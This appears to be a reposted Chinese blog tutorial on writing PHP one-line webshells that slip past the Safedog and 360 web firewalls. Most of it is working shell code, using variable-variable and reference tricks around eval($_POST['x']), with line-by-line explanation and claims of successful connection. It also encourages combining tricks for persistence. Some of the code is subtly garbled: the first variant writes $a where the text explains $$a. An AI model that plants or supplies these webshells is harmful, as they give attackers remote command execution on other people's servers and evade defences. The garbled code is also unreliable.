8个月前 (08-14)  文献 渗透测试 |   抢沙发  60 
文章评分 1 次,平均分 5.0

00×01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell。
当然,安全狗是最简单的一款waf,很容易就进行一个绕过。
00×02
对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种

1.#可变变量
2.#引用变量

00×03
##可变变量(菜刀可能报错)

  1. <@eval($_POST[‘x’])

经常使用的人都知道,只是最简单的一句话,不过任何waf与规则
我们先来加入需要的函数

  1. $a=’b’;
  2. $b=$_POST[‘x’];
  3. @eval($a);

我们先来测试下是否被杀

可以看见,是成功过了安全狗,我们来测试下连接

并且成功可以连接
代码分析#

  1. $a=’b’;
  2. $b=$_POST[‘x’];
  3. @eval($a);
  4. ?>

我们来看第二行代码

  1. $a=’b’;

知道可变变量的人应该都能看懂吧,第三行$$a中的$a是b,也可以这么说$a替换成b。

继续看第三行

  1. $b=$_POST[‘x’];


根据第一行知道$$a就是$b,$b用来接收post 提交的数据

最后第四行

  1. @eval($a);

执行$$a相当于执行了$a也就是$b. 最后,我们整合成一句话

                                     总结
1#  可变变量比较灵活对于过狗也比较简单
2#  不过D盾只适合安全狗与360针对性比较高

00×04
##引用变量

  1. <@eval($_POST[‘x’])

还是原始一句话,我先写出写好的代码

  1. $a=$_POST[‘x’];
  2. $b=&$a;
  3. @eval($b);
  4. ?>

我们继续测试下是否被杀,


可以看见,一样过了安全狗,我们继续测试下是否可以连接

可以看见,已经连接上了,并且可以进行操作。
##代码分析

  1. $a=$_POST[‘x’];
  2. $b=&$a;
  3. @eval($b);
  4. ?>

我们来看第二行代码

  1. $a=$_POST[‘x’];

$a用来接收post提交的数据  

继续看第三行代码

  1. $b=&$a;

$b引用了$a的内存地址间接的相当于$b接收了post提交的数据

最后第四行代码:

  1. @eval($b);

执行$b。最后我们来整合成一句话

                                     总结(与可变变量一样)

1#  可变变量比较灵活对于过狗也比较简单
2#  不过D盾只适合安全狗与360针对性比较高

00×05
大总结
1#  了解其原理,一味的抄写在安全狗更新时无法能够独立编写
2#  活学活用,多种方式结合可写出各种变态一句话,从而达到持久等效果
3#  多多与人交流,交流乃学习不可缺少的根本,共享思路结合思路,便可以称为一个大牛。4#  安全狗只是一个很简单的waf,不能止步于此,低调发展寻求高傲的技术

00×06
1#当然,我只列出的是一部分,还有许多的方式,例如函数替换,关键字拆分,双变量等方式。
2#第一次写文章,可能写的不是很好,有建议者可以评论点出,万分感谢。
3#日后我会分享过waf注入的思路,请大家多多支持!

原文地址:http://bbs.ichunqiu.com/thread-9012-1-1.html

转载请注明:即刻安全 » 转载: 绕过安全狗与360PHP一句话的编写

发表评论

表情 格式

暂无评论

切换注册

登录

忘记密码 ?

您也可以使用第三方帐号快捷登录

切换登录

注册

扫一扫二维码分享